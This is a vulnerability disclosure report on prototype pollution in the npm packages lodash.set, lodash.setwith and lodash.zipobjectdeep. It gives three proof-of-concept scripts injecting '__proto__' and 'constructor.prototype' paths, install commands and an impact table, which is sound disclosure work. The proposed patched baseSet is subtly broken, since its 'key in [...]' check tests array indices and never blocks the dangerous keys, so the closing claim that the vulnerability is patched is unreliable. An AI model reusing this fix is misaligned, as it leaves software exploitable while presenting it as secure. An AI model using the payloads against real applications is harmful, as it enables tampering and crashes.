Reported on Jan 2nd 2022 | Timothee Desurmont
Vulnerability type: CWE-1321
The npm packages lodash.set (<=v4.3.2), lodash.setwith(<=v4.3.2), lodash.zipobjectdeep (v4.4.2) are all vulnerable to prototype pollution;
The function "baseSet" in lodash/lodash.set/index.js, lodash/lodash.setwith/index.js, and lodash/lodash.zipobjectdeep/index.js do not check if the attribute resolves to the object prototype.
By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones.
This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).
- Create the following PoC files:
poc_set.js
const set = require('lodash.set');
let emptyObject = {};
// we create an empty object
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
set({}, "__proto__.polluted", true);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
poc_setwith.js
const setWith = require('lodash.setwith');
let emptyObject = {};
// we create an empty object
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
setWith({}, "__proto__.polluted", true);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
poc_zipobjectdeep.js
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
// we create an empty object
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
- Execute the following commands in terminal:
npm i lodash.set@4.3.2 lodash.setwith@4.3.2 lodash.zipobjectdeep@4.4.2 # Install the 3 vulnerable packages
node poc_set.js # execute the PoC for lodash.set
node poc_setwith.js # execute the PoC for lodash.setwith
node poc_zipobjectdeep.js # execute the PoC for lodash.zipobjectdeep
- Check the Output of the PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
We have successfully added the attribute { "polluted": true }
on all objects in our application, including to those that havn't been created yet:
console.log(`[+] Is this newly created empty object also polluted: ${{}.polluted}`);
// [+] Is this newly created empty object also polluted: true
This confirms the prototype pollution vulnerability.
Scope | Impact |
---|---|
Integrity | An attacker can inject attributes that are used in other components. |
Availability | An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash. |
By using a denylist of dangerous attributes, this weakness can be eliminated.
- replace the baseSet function in all 3 vulnerable packages with the following code:
function baseSet(object, path, value, customizer) {
if (!isObject(object)) {
return object;
}
path = isKey(path, object) ? [path] : castPath(path);
var index = -1,
length = path.length,
lastIndex = length - 1,
nested = object;
while (nested != null && ++index < length) {
var key = toKey(path[index]),
newValue = value;
// CWE-1321 - use denylist of dangerous attributes
if (key in ["__proto__", "prototype", "constructor"]) continue
if (index != lastIndex) {
var objValue = nested[key];
newValue = customizer ? customizer(objValue, key, nested) : undefined;
if (newValue === undefined) {
newValue = isObject(objValue)
? objValue
: (isIndex(path[index + 1]) ? [] : {});
}
}
assignValue(nested, key, newValue);
nested = nested[key];
}
return object;
}
- Check the Output of the PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : undefined
This confirms that the vulnerability has been patched.